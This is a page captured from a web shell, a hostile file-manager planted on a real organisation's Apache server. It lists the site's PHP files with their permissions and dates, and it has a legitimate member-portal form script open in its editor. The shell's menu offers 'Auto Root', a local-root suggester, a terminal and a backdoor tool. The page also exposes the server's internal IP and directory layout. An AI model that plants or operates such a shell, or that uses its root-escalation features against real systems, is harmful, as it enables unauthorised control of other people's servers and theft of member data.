Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
php /
Delete
Unzip
Name
Size
Permission
Date
Action
_notes
[ DIR ]
drwxr-sr-x
2022-12-20 11:09
_vti_cnf
[ DIR ]
drwxr-sr-x
2022-12-20 11:09
certificate
[ DIR ]
drwxr-sr-x
2023-03-22 11:22
includes
[ DIR ]
drwxr-sr-x
2026-08-24 10:12
mail_interface
[ DIR ]
drwxr-sr-x
2025-06-14 09:47
security
[ DIR ]
drwxr-sr-x
2023-09-17 08:02
temp
[ DIR ]
drwxr-sr-x
2026-04-18 22:25
templates
[ DIR ]
drwxr-sr-x
2026-05-25 12:12
tests
[ DIR ]
drwxr-sr-x
2025-07-07 15:54
CaptchaSecurityImages.php
2.26
KB
-rw-r--r--
2022-12-20 11:09
Inc_calendarnew.php
8.59
KB
-rw-r--r--
2017-11-20 10:34
accredcourses.php
7.04
KB
-rw-r--r--
2023-08-22 10:55
adecquestionnaire.php
26.54
KB
-rw-r--r--
2025-08-01 10:38
advisory.php
7.21
KB
-rw-r--r--
2022-12-20 11:09
advisory_full.php
1.31
KB
-rw-r--r--
2022-12-20 11:09
annualdeclaration.php
15.28
KB
-rw-r--r--
2026-01-22 10:25
awardsentry.php
14.55
KB
-rw-r--r--
2025-08-01 10:38
awardsentry.php.bak
11.22
KB
-rw-r--r--
2016-04-13 12:45
bookdetail.php
954
B
-rw-r--r--
2022-12-20 11:09
books.php
4.4
KB
-rw-r--r--
2023-05-16 13:08
branchdocuments.php
1.14
KB
-rw-r--r--
2022-12-20 11:09
branches.php
2.82
KB
-rw-r--r--
2025-08-06 12:54
calendarpdf.php
1.75
KB
-rw-r--r--
2025-08-26 16:52
cceregister.php
55.59
KB
-rw-r--r--
2026-08-14 12:05
ccmregister.php
71.57
KB
-rw-r--r--
2022-12-20 11:09
class.phpmailer.php
44.39
KB
-rw-r--r--
2022-12-20 11:09
class.smtp.php
32.74
KB
-rw-r--r--
2022-12-20 11:09
committeedocs.php
932
B
-rw-r--r--
2022-12-20 11:09
committees.php
2.69
KB
-rw-r--r--
2025-08-06 12:58
cpdapply.php
5.73
KB
-rw-r--r--
2022-12-20 11:09
cpdapplyform.php
34.06
KB
-rw-r--r--
2025-08-01 10:38
cpdproviderapply.php
42.09
KB
-rw-r--r--
2026-02-10 10:10
cpdproviderportal.php
79.47
KB
-rw-r--r--
2025-09-08 07:23
cpdspverify.php
4.27
KB
-rw-r--r--
2025-10-10 10:45
cpdtmverify.php
4.45
KB
-rw-r--r--
2023-06-19 13:44
declineeventreg.php
3.73
KB
-rw-r--r--
2022-12-20 11:09
directorybooking.php
7.39
KB
-rw-r--r--
2022-12-20 11:09
downloadPN.php
385
B
-rw-r--r--
2025-06-26 13:02
downloadfile.php
280
B
-rw-r--r--
2025-08-01 10:38
enews.php
1.33
KB
-rw-r--r--
2022-12-20 11:09
enewsarchive.php
1.09
KB
-rw-r--r--
2022-12-20 11:09
event.php
12.39
KB
-rw-r--r--
2026-08-19 12:22
event_allvenues.php
18.93
KB
-rw-r--r--
2026-08-09 11:44
eventdecline_awards.php
11.79
KB
-rw-r--r--
2022-12-20 11:09
eventregister.php
26.85
KB
-rw-r--r--
2026-02-10 07:56
eventregister_awards.php
19.4
KB
-rw-r--r--
2025-06-20 06:38
eventregister_golf.php
28.83
KB
-rw-r--r--
2025-08-19 08:12
eventtables.php
24.13
KB
-rw-r--r--
2023-06-01 09:51
eventtables.php.bak
3.49
KB
-rw-r--r--
2022-12-20 11:09
fidicgama2018.php
1012
B
-rw-r--r--
2022-12-20 11:09
forum.php
3.25
KB
-rw-r--r--
2022-12-20 11:09
getoffices.php
799
B
-rw-r--r--
2022-12-20 11:09
hrforumsubscribe.php
2.62
KB
-rw-r--r--
2022-12-20 11:09
hrforumunsubscribe.php
1.32
KB
-rw-r--r--
2022-12-20 11:09
inc_calendarnew.php
10.56
KB
-rw-r--r--
2025-08-21 10:11
inc_captcha.php
337
B
-rw-r--r--
2022-12-20 11:09
inc_db.php
12.33
KB
-rw-r--r--
2025-06-18 12:05
inc_php7.php
6
KB
-rw-r--r--
2025-07-07 12:51
inc_practicenoteslist.php
4.1
KB
-rw-r--r--
2024-07-03 13:52
inc_scecalendar.php
8.55
KB
-rw-r--r--
2025-06-13 08:57
inc_scecalendar_backup.php
6.66
KB
-rw-r--r--
2022-12-20 11:09
inc_scecalendarnew.php
7.84
KB
-rw-r--r--
2026-05-09 09:39
jobshadowschools.php
7.26
KB
-rw-r--r--
2025-06-20 06:38
logout.php
593
B
-rw-r--r--
2025-02-25 08:19
marketingevent.php
122.75
KB
-rw-r--r--
2026-08-03 13:40
marketingeventdecline.php
15.21
KB
-rw-r--r--
2022-12-20 11:09
marketingsurvey.php
5.95
KB
-rw-r--r--
2022-12-20 11:09
matrixtemplate.htm
2.13
KB
-rw-r--r--
2022-12-20 11:09
member_portal_becs.php
2.14
KB
-rw-r--r--
2025-09-12 07:50
member_portal_transformation.php
10.45
KB
-rw-r--r--
2026-05-20 10:07
member_portal_transformation_proxy.php
538
B
-rw-r--r--
2026-05-20 09:08
memberauth.php
991
B
-rw-r--r--
2025-02-25 08:19
memberportal.php
11.79
KB
-rw-r--r--
2026-05-20 09:54
membersearch.php
22.72
KB
-rw-r--r--
2025-02-27 08:02
membersearch_smme.php
6.2
KB
-rw-r--r--
2024-11-27 11:41
memberverify.php
5.25
KB
-rw-r--r--
2022-12-20 11:09
mentors.php
21.68
KB
-rw-r--r--
2025-06-20 06:38
migratenode.php
1.26
KB
-rw-r--r--
2022-12-20 11:09
monofont.ttf
40.07
KB
-rw-r--r--
2022-12-20 11:09
nlc.php
855
B
-rw-r--r--
2022-12-20 11:09
nlcreports.php
2.51
KB
-rw-r--r--
2022-12-20 11:09
php_errors.log
1.06
KB
-rw-r--r--
2026-08-20 23:37
practicenotes.php
4.63
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_full.php
1.33
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_help.php
2.17
KB
-rw-r--r--
2022-12-20 11:09
practicenotes_list.php
2.03
KB
-rw-r--r--
2024-07-03 13:52
practicenotes_search.php
9.43
KB
-rw-r--r--
2022-12-20 11:09
querynlcmatrix.php
15
KB
-rw-r--r--
2022-12-20 11:09
querynlcmatrix.php4
15.38
KB
-rw-r--r--
2012-03-05 08:01
register.php
58.18
KB
-rw-r--r--
2026-05-26 14:55
relay.php
20.33
KB
-rw-r--r--
2025-06-20 06:38
relayteams.php
12.53
KB
-rw-r--r--
2022-12-20 11:09
resendcpdform.php
7.28
KB
-rw-r--r--
2025-08-01 10:38
retiredeng.php
13.45
KB
-rw-r--r--
2025-06-20 06:38
retiredeng_members.php
1.81
KB
-rw-r--r--
2022-12-20 11:09
sanitize.php
10
B
-rw-r--r--
2022-12-20 11:09
sce_survey2015.php
25.85
KB
-rw-r--r--
2022-12-20 11:09
sceallevents.php
8.13
KB
-rw-r--r--
2026-01-20 08:45
scecalendar.php
4.86
KB
-rw-r--r--
2025-06-18 11:18
scecalendar_backup.php
3.17
KB
-rw-r--r--
2025-06-18 11:18
scecalendarnew.php
5.98
KB
-rw-r--r--
2025-08-28 11:14
scecalendarnewtest.php
5.7
KB
-rw-r--r--
2022-03-04 12:37
scecalendartest.php
3.57
KB
-rw-r--r--
2022-03-04 12:38
scecategories.php
914
B
-rw-r--r--
2022-12-20 11:09
scecourses.php
7.18
KB
-rw-r--r--
2026-08-19 12:15
scelist.php
7.72
KB
-rw-r--r--
2025-08-29 07:18
scesubscribe.php
2.06
KB
-rw-r--r--
2022-12-20 11:09
sceupdate.php
1.67
KB
-rw-r--r--
2025-06-18 11:18
scevenuehire.php
6.15
KB
-rw-r--r--
2026-01-23 13:12
sendeventreg.php
19.5
KB
-rw-r--r--
2026-08-14 12:05
sendeventreg2.php
2.83
KB
-rw-r--r--
2026-07-17 14:57
sendeventreg_golf.php
20.23
KB
-rw-r--r--
2026-08-14 12:05
sendeventreg_golf.php.bak
11.69
KB
-rw-r--r--
2016-09-07 09:48
sendreg.php
35.15
KB
-rw-r--r--
2026-08-14 12:05
smsunsub.php
1.89
KB
-rw-r--r--
2025-06-18 11:18
template.php
54.36
KB
-rw-r--r--
2022-12-20 11:09
tenders.php
1.34
KB
-rw-r--r--
2022-12-20 11:09
trainerportal.php
50.27
KB
-rw-r--r--
2025-08-01 11:06
trainerportal.php.bak
2.57
KB
-rw-r--r--
2022-12-20 11:09
unempgrad_members.php
2.38
KB
-rw-r--r--
2025-06-18 11:18
unemployed.php
14.13
KB
-rw-r--r--
2025-06-20 06:38
unemployedreg.php
23.38
KB
-rw-r--r--
2025-06-20 06:38
unempreg_members.php
2.36
KB
-rw-r--r--
2025-06-18 11:18
ypfbranchcommittee.php
1.63
KB
-rw-r--r--
2022-12-20 11:09
ypfcommittees.php
1.57
KB
-rw-r--r--
2022-12-20 11:09
ypfjoin.php
30.29
KB
-rw-r--r--
2025-07-07 15:53
ypfjoin2.php
28.13
KB
-rw-r--r--
2025-06-18 11:18
ypfjoinmatches.php
9.46
KB
-rw-r--r--
2025-06-18 11:18
ypfmentees.php
20.81
KB
-rw-r--r--
2026-08-24 11:52
ypfmentees_members.php
2.42
KB
-rw-r--r--
2025-06-18 11:18
Save
Rename
<?php if (!isset($_SERVER['HTTPS']) || $_SERVER['HTTPS'] !== 'on') { $redirect = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; header('HTTP/1.1 301 Moved Permanently'); header('Location: ' . $redirect); exit(); } $sessid = session_id(); if ($sessid === '') { session_start(['cookie_lifetime' => 86400]); } $_COOKIE['PHPSESSID'] = session_id(); include_once $_SERVER['DOCUMENT_ROOT'] . '/php/inc_db.php'; include_once $_SERVER['DOCUMENT_ROOT'] . '/cesanet/inc_shared.php'; include_once $_SERVER['DOCUMENT_ROOT'] . '/php/includes/MemberPortalUrls.php'; if (!isset($_SESSION['CID']) || $_SESSION['CID'] === '' || (int) $_SESSION['CID'] <= 0) { header('Location: /login/', true, 302); exit; } $reqPath = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH); if (!is_string($reqPath) || $reqPath === '') { $reqPath = '/'; } $canonicalTransPath = member_portal_transformation_page_path(); if ($reqPath === '/php/member_portal_transformation.php' && $canonicalTransPath !== '/php/member_portal_transformation.php') { header('Location: ' . $canonicalTransPath, true, 302); exit; } $backUrl = '/login/'; ?> <style> .mp-trans-msg { margin: 1em 0; padding: 12px 14px; border-radius: 4px; border: 1px solid transparent; font-size: 15px; line-height: 1.45; } .mp-trans-msg--success { background: #e8f6ec; border-color: #2d8a54; color: #1a4d2e; } .mp-trans-msg--error { background: #fdecea; border-color: #c0392b; color: #6b1d1d; } .mp-trans-loading { margin: 1em 0; padding: 10px 0; color: #444; font-size: 15px; } .mp-trans-msg:focus { outline: 2px solid #2271b1; outline-offset: 2px; } </style> <table class="table"> <tr> <td align="left"> <h2>Transformation declaration</h2> <p>Complete or update your firm’s transformation statistics for the current declaration year.</p> </td> <td align="right" valign="top"> <a href="<?php echo htmlspecialchars($backUrl); ?>">Back to Member Portal</a> </td> </tr> </table> <div id="mp-trans-alert" class="mp-trans-msg" role="status" aria-live="polite" tabindex="-1" style="display:none;"></div> <div id="mp-trans-loading" class="mp-trans-loading" aria-live="polite">Loading your transformation declaration…</div> <div id="mp-trans-root"></div> <script> (function () { var proxy = <?php echo json_encode(member_portal_transformation_proxy_path(), JSON_UNESCAPED_SLASHES); ?>; var root = document.getElementById('mp-trans-root'); var loading = document.getElementById('mp-trans-loading'); var alertBox = document.getElementById('mp-trans-alert'); var LABELS = { totalStaff: 'Total staff', smme: 'SMME / turnover category', blackOwned: 'Black ownership', blackWomenOwned: 'Black women ownership', bbbeeLevel: 'B-BBEE recognition level', threeYearsAverageTurnover: 'Three-year average turnover (R)', _form: 'Form' }; function fieldLabel(name) { if (LABELS[name]) { return LABELS[name]; } if (name.indexOf('trans_') === 0) { return 'Staff count (' + name.replace(/_/g, ' ') + ')'; } return name.replace(/_/g, ' '); } function showAlert(msg, kind) { alertBox.textContent = msg; alertBox.className = 'mp-trans-msg mp-trans-msg--' + (kind === 'success' ? 'success' : 'error'); alertBox.setAttribute('role', kind === 'success' ? 'status' : 'alert'); alertBox.setAttribute('aria-live', kind === 'success' ? 'polite' : 'assertive'); alertBox.style.display = ''; alertBox.focus(); try { alertBox.scrollIntoView({ behavior: 'smooth', block: 'nearest' }); } catch (e2) {} } function hideAlert() { alertBox.style.display = 'none'; alertBox.textContent = ''; alertBox.className = 'mp-trans-msg'; } function friendlyRenderError(msg) { if (!msg) { return 'The form could not be loaded. Please refresh the page or try again in a few minutes.'; } var m = String(msg).toLowerCase(); if (m.indexOf('session') !== -1 || m.indexOf('expired') !== -1) { return 'Your session has expired. Use “Back to Member Portal”, log in again, then open this page.'; } if (m.indexOf('user_login') !== -1 || m.indexOf('member database login') !== -1) { return 'This form needs a CESA member portal login linked to the member database. Log out, then log in with your member portal username (not a generic website account only).'; } if (m.indexOf('forbidden') !== -1 || m.indexOf('whitelist') !== -1 || m.indexOf('ip') !== -1) { return 'The site could not reach the declaration service (configuration). Please contact CESA support if this continues.'; } return msg; } function formatFieldErrors(fieldErrors) { var lines = []; for (var k in fieldErrors) { if (!Object.prototype.hasOwnProperty.call(fieldErrors, k)) { continue; } var msgs = fieldErrors[k]; if (!Array.isArray(msgs)) { continue; } lines.push(fieldLabel(k) + ': ' + msgs.join(' ')); } return lines; } async function parseJsonResponse(res) { var text = await res.text(); if (!text || !text.trim()) { return { parseError: true, message: 'The server returned an empty response (HTTP ' + res.status + '). Please try again.' }; } try { return { data: JSON.parse(text) }; } catch (e) { return { parseError: true, message: 'The server response could not be read (HTTP ' + res.status + '). Please refresh the page or try again later.' }; } } function formPrefix() { return 'member_firm_transform_ext'; } function collectFormPayload(formEl) { var prefix = formPrefix(); var re = new RegExp('^' + prefix + '\\[([^\\]]+)\\]$'); var fd = new FormData(formEl); var out = {}; fd.forEach(function (val, key) { var m = key.match(re); if (m) { out[m[1]] = typeof val === 'string' ? val : String(val); } }); return out; } async function loadForm() { hideAlert(); loading.style.display = ''; loading.textContent = 'Loading your transformation declaration…'; root.innerHTML = ''; try { var res = await fetch(proxy + '?action=render', { method: 'POST', headers: {'Content-Type': 'application/json', 'Accept': 'application/json'}, body: '{}', credentials: 'same-origin' }); var parsed = await parseJsonResponse(res); if (parsed.parseError) { loading.style.display = 'none'; showAlert(parsed.message, 'error'); return; } var data = parsed.data; loading.style.display = 'none'; if (!res.ok || !data.success) { showAlert(friendlyRenderError(data && data.error ? data.error : 'Could not load the form (HTTP ' + res.status + ').'), 'error'); return; } if (!data.html || !String(data.html).trim()) { showAlert('No form content was returned. Please try again or contact CESA support.', 'error'); return; } root.innerHTML = data.html; var form = root.querySelector('form.cesa-mp-transformation-form'); if (form) { form.addEventListener('submit', onSubmit); } else { showAlert('The form markup was incomplete. Please refresh the page.', 'error'); } } catch (e) { loading.style.display = 'none'; showAlert('We could not connect to load your declaration. Check your connection, then refresh the page.', 'error'); } } async function onSubmit(ev) { ev.preventDefault(); hideAlert(); var formEl = ev.target; var submitBtn = formEl.querySelector('[type="submit"]'); if (submitBtn) { submitBtn.disabled = true; submitBtn.setAttribute('data-prev-label', submitBtn.textContent || ''); submitBtn.textContent = 'Saving…'; } var payload = { form: collectFormPayload(formEl) }; try { var res = await fetch(proxy + '?action=submit', { method: 'POST', headers: {'Content-Type': 'application/json', 'Accept': 'application/json'}, body: JSON.stringify(payload), credentials: 'same-origin' }); var parsed = await parseJsonResponse(res); if (parsed.parseError) { showAlert(parsed.message, 'error'); return; } var data = parsed.data; if (data.success) { var okMsg = (data.message && String(data.message).trim()) ? String(data.message).trim() : 'Your transformation declaration was saved successfully. The form below now shows your latest data.'; await loadForm(); showAlert(okMsg, 'success'); return; } var err = (data.error && String(data.error).trim()) ? String(data.error).trim() : 'Your changes could not be saved. Please review the messages below and try again.'; var detailLines = data.field_errors ? formatFieldErrors(data.field_errors) : []; if (detailLines.length) { err += ' Details: ' + detailLines.join(' · '); } else if (!res.ok) { err += ' (HTTP ' + res.status + ')'; } showAlert(err, 'error'); } catch (e) { showAlert('We could not reach the server to save your declaration. Check your connection and try again.', 'error'); } finally { if (submitBtn) { submitBtn.disabled = false; var prev = submitBtn.getAttribute('data-prev-label'); if (prev) { submitBtn.textContent = prev; } } } } loadForm(); })(); </script> <?php include_once $_SERVER['DOCUMENT_ROOT'] . '/php/templates/inc_footer.php';